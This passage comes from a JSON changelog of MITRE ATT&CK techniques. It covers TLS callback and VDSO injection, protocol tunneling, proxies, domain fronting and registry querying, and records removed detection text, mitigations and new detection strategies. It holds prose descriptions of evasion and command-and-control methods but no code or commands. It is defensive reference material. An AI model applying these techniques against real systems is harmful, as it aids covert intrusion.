"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-01-14 01:30:41.092000+00:00", + "modified": "2025-10-24 17:49:32.111000+00:00", + "name": "Thread Local Storage", + "description": "Adversaries may inject malicious code into processes via thread local storage (TLS) callbacks in order to evade process-based defenses as well as possibly elevate privileges. TLS callback injection is a method of executing arbitrary code in the address space of a separate live process. \n\nTLS callback injection involves manipulating pointers inside a portable executable (PE) to redirect a process to malicious code before reaching the code's legitimate entry point. TLS callbacks are normally used by the OS to setup and/or cleanup data used by threads. Manipulating TLS callbacks may be performed by allocating and writing to specific offsets within a process\u2019 memory space using other [Process Injection](https://attack.mitre.org/techniques/T1055) techniques such as [Process Hollowing](https://attack.mitre.org/techniques/T1055/012).(Citation: FireEye TLS Nov 2017)\n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via TLS callback injection may also evade detection from security products since the execution is masked under a legitimate process. ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1055/005", + "external_id": "T1055.005" + }, + { + "source_name": "Elastic Process Injection July 2017", + "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.", + "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process" + }, + { + "source_name": "FireEye TLS Nov 2017", + "description": "Vaish, A. & Nemes, S. (2017, November 28). Newly Observed Ursnif Variant Employs Malicious TLS Callback Technique to Achieve Process Injection. Retrieved December 18, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/11/ursnif-variant-malicious-tls-callback-technique.html" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Modification\", \"Process: Process Access\", \"Process: OS API Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:32.111000+00:00\", \"old_value\": \"2025-04-25 14:48:21.860000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread, SuspendThread/SetThreadContext/ResumeThread, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017)\\n\\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. \", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread, SuspendThread/SetThreadContext/ResumeThread, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017)\\n-\\n-Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. \"}}}", + "previous_version": "1.2", + "changelog_mitigations": { + "shared": [ + "M1040: Behavior Prevention on Endpoint" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (OS API Execution)", + "DS0009: Process (Process Access)", + "DS0009: Process (Process Modification)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0467: Detection Strategy for TLS Callback Injection via PE Memory Modification and Hollowing" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--98be40f2-c86b-4ade-b6fc-4964932040e5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-01-14 01:35:00.781000+00:00", + "modified": "2025-10-24 17:49:08.040000+00:00", + "name": "VDSO Hijacking", + "description": "Adversaries may inject malicious code into processes via VDSO hijacking in order to evade process-based defenses as well as possibly elevate privileges. Virtual dynamic shared object (vdso) hijacking is a method of executing arbitrary code in the address space of a separate live process. \n\nVDSO hijacking involves redirecting calls to dynamically linked shared libraries. Memory protections may prevent writing executable code to a process via [Ptrace System Calls](https://attack.mitre.org/techniques/T1055/008). However, an adversary may hijack the syscall interface code stubs mapped into a process from the vdso shared object to execute syscalls to open and map a malicious shared object. This code can then be invoked by redirecting the execution flow of the process via patched memory address references stored in a process' global offset table (which store absolute addresses of mapped library functions).(Citation: ELF Injection May 2009)(Citation: Backtrace VDSO)(Citation: VDSO Aug 2005)(Citation: Syscall 2014)\n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via VDSO hijacking may also evade detection from security products since the execution is masked under a legitimate process. ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1055/014", + "external_id": "T1055.014" + }, + { + "source_name": "Backtrace VDSO", + "description": "backtrace. (2016, April 22). ELF SHARED LIBRARY INJECTION FORENSICS. Retrieved November 17, 2024.", + "url": "https://web.archive.org/web/20210205211142/https://backtrace.io/blog/backtrace/elf-shared-library-injection-forensics/" + }, + { + "source_name": "Syscall 2014", + "description": "Drysdale, D. (2014, July 16). Anatomy of a system call, part 2. Retrieved June 16, 2020.", + "url": "https://lwn.net/Articles/604515/" + }, + { + "source_name": "GNU Acct", + "description": "GNU. (2010, February 5). The GNU Accounting Utilities. Retrieved December 20, 2017.", + "url": "https://www.gnu.org/software/acct/" + }, + { + "source_name": "RHEL auditd", + "description": "Jahoda, M. et al.. (2017, March 14). redhat Security Guide - Chapter 7 - System Auditing. Retrieved December 20, 2017.", + "url": "https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/security_guide/chap-system_auditing" + }, + { + "source_name": "ArtOfMemoryForensics", + "description": "Ligh, M.H. et al.. (2014, July). The Art of Memory Forensics: Detecting Malware and Threats in Windows, Linux, and Mac Memory. Retrieved December 20, 2017." + }, + { + "source_name": "ELF Injection May 2009", + "description": "O'Neill, R. (2009, May). Modern Day ELF Runtime infection via GOT poisoning. Retrieved March 15, 2020.", + "url": "https://web.archive.org/web/20150711051625/http://vxer.org/lib/vrn00.html" + }, + { + "source_name": "VDSO Aug 2005", + "description": "Petersson, J. (2005, August 14). What is linux-gate.so.1?. Retrieved June 16, 2020.", + "url": "https://web.archive.org/web/20051013084246/http://www.trilithium.com/johan/2005/08/linux-gate/" + }, + { + "source_name": "Chokepoint preload rootkits", + "description": "stderr. (2014, February 14). Detecting Userland Preload Rootkits. Retrieved December 20, 2017.", + "url": "http://www.chokepoint.net/2014/02/detecting-userland-preload-rootkits.html" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: OS API Execution\", \"Module: Module Load\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:08.040000+00:00\", \"old_value\": \"2025-04-15 19:58:52.691000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor for malicious usage of system calls, such as ptrace and mmap, that can be used to attach to, manipulate memory, then redirect a processes' execution path. Monitoring for Linux specific calls such as the ptrace system call should not generate large amounts of data due to their specialized nature, and can be a very effective method to detect some of the common process injection methods.(Citation: ArtOfMemoryForensics)(Citation: GNU Acct)(Citation: RHEL auditd)(Citation: Chokepoint preload rootkits) \\n\\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. \", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitor for malicious usage of system calls, such as ptrace and mmap, that can be used to attach to, manipulate memory, then redirect a processes' execution path. Monitoring for Linux specific calls such as the ptrace system call should not generate large amounts of data due to their specialized nature, and can be a very effective method to detect some of the common process injection methods.(Citation: ArtOfMemoryForensics)(Citation: GNU Acct)(Citation: RHEL auditd)(Citation: Chokepoint preload rootkits) \\n-\\n-Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. \"}}}", + "previous_version": "1.2", + "changelog_mitigations": { + "shared": [ + "M1040: Behavior Prevention on Endpoint" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (OS API Execution)", + "DS0011: Module (Module Load)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0448: Detection Strategy for VDSO Hijacking on Linux" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--4fe28b27-b13c-453e-a386-c2ef362a573b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-03-15 16:03:39.082000+00:00", + "modified": "2025-10-24 17:48:45.888000+00:00", + "name": "Protocol Tunneling", + "description": "Adversaries may tunnel network communications to and from a victim system within a separate protocol to avoid detection/network filtering and/or enable access to otherwise unreachable systems. Tunneling involves explicitly encapsulating a protocol within another. This behavior may conceal malicious traffic by blending in with existing traffic and/or provide an outer layer of encryption (similar to a VPN). Tunneling could also enable routing of network packets that would otherwise not reach their intended destination, such as SMB, RDP, or other traffic that would be filtered by network appliances or not routed over the Internet. \n\nThere are various means to encapsulate a protocol within another protocol. For example, adversaries may perform SSH tunneling (also known as SSH port forwarding), which involves forwarding arbitrary data over an encrypted SSH tunnel.(Citation: SSH Tunneling)(Citation: Sygnia Abyss Locker 2025) \n\n[Protocol Tunneling](https://attack.mitre.org/techniques/T1572) may also be abused by adversaries during [Dynamic Resolution](https://attack.mitre.org/techniques/T1568). Known as DNS over HTTPS (DoH), queries to resolve C2 infrastructure may be encapsulated within encrypted HTTPS packets.(Citation: BleepingComp Godlua JUL19) \n\nAdversaries may also leverage [Protocol Tunneling](https://attack.mitre.org/techniques/T1572) in conjunction with [Proxy](https://attack.mitre.org/techniques/T1090) and/or [Protocol or Service Impersonation](https://attack.mitre.org/techniques/T1001/003) to further conceal C2 communications and infrastructure. ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "command-and-control" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1572", + "external_id": "T1572" + }, + { + "source_name": "Sygnia Abyss Locker 2025", + "description": "Abigail See, Zhongyuan (Aaron) Hau, Ren Jie Yow, Yoav Mazor, Omer Kidron, and Oren Biderman. (2025, February 4). The Anatomy of Abyss Locker Ransomware Attack. Retrieved April 4, 2025.", + "url": "https://www.sygnia.co/blog/abyss-locker-ransomware-attack-analysis/" + }, + { + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + }, + { + "source_name": "BleepingComp Godlua JUL19", + "description": "Gatlan, S. (2019, July 3). New Godlua Malware Evades Traffic Monitoring via DNS over HTTPS. Retrieved March 15, 2020.", + "url": "https://www.bleepingcomputer.com/news/security/new-godlua-malware-evades-traffic-monitoring-via-dns-over-https/" + }, + { + "source_name": "SSH Tunneling", + "description": "SSH.COM. (n.d.). SSH tunnel. Retrieved March 15, 2020.", + "url": "https://www.ssh.com/ssh/tunneling" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "ESXi", + "Linux", + "macOS", + "Windows" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Traffic Flow\", \"Network Traffic: Network Traffic Content\", \"Network Traffic: Network Connection Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:45.888000+00:00\", \"old_value\": \"2025-04-15 19:58:29.875000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitoring for systems listening and/or establishing external connections using ports/protocols commonly associated with tunneling, such as SSH (port 22). Also monitor for processes commonly associated with tunneling, such as Plink and the OpenSSH client. \\n\\nAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol standards regarding syntax, structure, or any other variable adversaries could leverage to conceal data.(Citation: University of Birmingham C2)\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitoring for systems listening and/or establishing external connections using ports/protocols commonly associated with tunneling, such as SSH (port 22). Also monitor for processes commonly associated with tunneling, such as Plink and the OpenSSH client. \\n-\\n-Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol standards regarding syntax, structure, or any other variable adversaries could leverage to conceal data.(Citation: University of Birmingham C2)\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1031: Network Intrusion Prevention", + "M1037: Filter Network Traffic" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0029: Network Traffic (Network Connection Creation)", + "DS0029: Network Traffic (Network Traffic Content)", + "DS0029: Network Traffic (Network Traffic Flow)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0538: Detection Strategy for Protocol Tunneling accross OS platforms." + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31 21:31:08.479000+00:00", + "modified": "2025-10-24 17:48:57.330000+00:00", + "name": "Proxy", + "description": "Adversaries may use a connection proxy to direct network traffic between systems or act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. Many tools exist that enable traffic redirection through proxies or port redirection, including [HTRAN](https://attack.mitre.org/software/S0040), ZXProxy, and ZXPortMap. (Citation: Trend Micro APT Attack Tools) Adversaries use these types of proxies to manage command and control communications, reduce the number of simultaneous outbound network connections, provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between victims to avoid suspicion. Adversaries may chain together multiple proxies to further disguise the source of malicious traffic.\n\nAdversaries can also take advantage of routing schemes in Content Delivery Networks (CDNs) to proxy command and control traffic.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "command-and-control" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1090", + "external_id": "T1090" + }, + { + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + }, + { + "source_name": "Trend Micro APT Attack Tools", + "description": "Wilhoit, K. (2013, March 4). In-Depth Look: APT Attack Tools of the Trade. Retrieved December 2, 2015.", + "url": "http://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Jon Sheedy", + "Heather Linn", + "Walker Johnson" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "ESXi", + "Linux", + "macOS", + "Network Devices", + "Windows" + ], + "x_mitre_version": "3.2", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Traffic Flow\", \"Network Traffic: Network Traffic Content\", \"Network Traffic: Network Connection Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:57.330000+00:00\", \"old_value\": \"2025-04-25 15:15:44.084000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server or between clients that should not or often do not communicate with one another). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\\n\\nConsider monitoring for traffic to known anonymity networks (such as [Tor](https://attack.mitre.org/software/S0183)).\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server or between clients that should not or often do not communicate with one another). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\\n-\\n-Consider monitoring for traffic to known anonymity networks (such as [Tor](https://attack.mitre.org/software/S0183)).\"}}}", + "previous_version": "3.2", + "changelog_mitigations": { + "shared": [ + "M1020: SSL/TLS Inspection", + "M1031: Network Intrusion Prevention", + "M1037: Filter Network Traffic" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0029: Network Traffic (Network Connection Creation)", + "DS0029: Network Traffic (Network Traffic Content)", + "DS0029: Network Traffic (Network Traffic Flow)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0445: Detection of Proxy Infrastructure Setup and Traffic Bridging" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--ca9d3402-ada3-484d-876a-d717bd6e05f2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-03-14 23:29:19.581000+00:00", + "modified": "2025-10-24 17:49:23.135000+00:00", + "name": "Domain Fronting", + "description": "Adversaries may take advantage of routing schemes in Content Delivery Networks (CDNs) and other services which host multiple domains to obfuscate the intended destination of HTTPS traffic or traffic tunneled through HTTPS. (Citation: Fifield Blocking Resistent Communication through domain fronting 2015) Domain fronting involves using different domain names in the SNI field of the TLS header and the Host field of the HTTP header. If both domains are served from the same CDN, then the CDN may route to the address specified in the HTTP header after unwrapping the TLS header. A variation of the the technique, \"domainless\" fronting, utilizes a SNI field that is left blank; this may allow the fronting to work even when the CDN attempts to validate that the SNI and HTTP Host fields match (if the blank SNI fields are ignored).\n\nFor example, if domain-x and domain-y are customers of the same CDN, it is possible to place domain-x in the TLS header and domain-y in the HTTP header. Traffic will appear to be going to domain-x, however the CDN may route it to domain-y.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "command-and-control" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1090/004", + "external_id": "T1090.004" + }, + { + "source_name": "Fifield Blocking Resistent Communication through domain fronting 2015", + "description": "David Fifield, Chang Lan, Rod Hynes, Percy Wegmann, and Vern Paxson. (2015). Blocking-resistant communication through domain fronting. Retrieved November 20, 2017.", + "url": "http://www.icir.org/vern/papers/meek-PETS-2015.pdf" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Matt Kelly, @breakersall" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows", + "ESXi" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Traffic Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:23.135000+00:00\", \"old_value\": \"2025-04-25 14:48:02.492000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"If SSL inspection is in place or the traffic is not encrypted, the Host field of the HTTP header can be checked if it matches the HTTPS SNI or against a blocklist or allowlist of domain names. (Citation: Fifield Blocking Resistent Communication through domain fronting 2015)\"}}}", + "previous_version": "1.2", + "changelog_mitigations": { + "shared": [ + "M1020: SSL/TLS Inspection" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0029: Network Traffic (Network Traffic Content)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0196: Domain Fronting Behavior via Mismatched TLS SNI and HTTP Host Headers" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--f6dacc85-b37d-458e-b58d-74fc4bbf5755", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-03-14 23:08:20.244000+00:00", + "modified": "2025-10-24 17:49:37.574000+00:00", + "name": "Internal Proxy", + "description": "Adversaries may use an internal proxy to direct command and control traffic between two or more systems in a compromised environment. Many tools exist that enable traffic redirection through proxies or port redirection, including [HTRAN](https://attack.mitre.org/software/S0040), ZXProxy, and ZXPortMap. (Citation: Trend Micro APT Attack Tools) Adversaries use internal proxies to manage command and control communications inside a compromised environment, to reduce the number of simultaneous outbound network connections, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between infected systems to avoid suspicion. Internal proxy connections may use common peer-to-peer (p2p) networking protocols, such as SMB, to better blend in with the environment.\n\nBy using a compromised internal system as a proxy, adversaries may conceal the true destination of C2 traffic while reducing the need for numerous connections to external systems.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "command-and-control" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1090/001", + "external_id": "T1090.001" + }, + { + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + }, + { + "source_name": "Trend Micro APT Attack Tools", + "description": "Wilhoit, K. (2013, March 4). In-Depth Look: APT Attack Tools of the Trade. Retrieved December 2, 2015.", + "url": "http://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "Network Devices", + "Windows", + "macOS", + "ESXi" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Traffic Flow\", \"Network Traffic: Network Traffic Content\", \"Network Traffic: Network Connection Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:37.574000+00:00\", \"old_value\": \"2025-04-15 19:59:22.365000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Analyze network data for uncommon data flows between clients that should not or often do not communicate with one another. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)\"}}}", + "previous_version": "1.2", + "changelog_mitigations": { + "shared": [ + "M1031: Network Intrusion Prevention" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0029: Network Traffic (Network Connection Creation)", + "DS0029: Network Traffic (Network Traffic Content)", + "DS0029: Network Traffic (Network Traffic Flow)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0075: Internal Proxy Behavior via Lateral Host-to-Host C2 Relay" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31 21:30:25.584000+00:00", + "modified": "2025-10-24 17:49:20.660000+00:00", + "name": "Query Registry", + "description": "Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.\n\nThe Registry contains a significant amount of information about the operating system, configuration, software, and security.(Citation: Wikipedia Windows Registry) Information can easily be queried using the [Reg](https://attack.mitre.org/software/S0075) utility, though other means to access the Registry exist. Some of the information may help adversaries to further their operation within a network. Adversaries may use the information from [Query Registry](https://attack.mitre.org/techniques/T1012) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "discovery" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1012", + "external_id": "T1012" + }, + { + "source_name": "Wikipedia Windows Registry", + "description": "Wikipedia. (n.d.). Windows Registry. Retrieved February 2, 2015.", + "url": "https://en.wikipedia.org/wiki/Windows_Registry" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.3", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: OS API Execution\", \"Windows Registry: Windows Registry Key Access\", \"Command: Command Execution\", \"Process: Process Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:20.660000+00:00\", \"old_value\": \"2025-04-15 22:58:50.612000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\\n\\nInteraction with the Windows Registry may come from the command line using utilities such as [Reg](https://attack.mitre.org/software/S0075) or through running malware that may interact with the Registry through an API. Command-line invocation of utilities used to query the Registry may be detected through process and command-line monitoring. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\\n-\\n-Interaction with the Windows Registry may come from the command line using utilities such as [Reg](https://attack.mitre.org/software/S0075) or through running malware that may interact with the Registry through an API. Command-line invocation of utilities used to query the Registry may be detected through process and command-line monitoring. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\"}}}", + "previous_version": "1.3", + "changelog_mitigations": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (OS API Execution)", + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)", + "DS0024: Windows 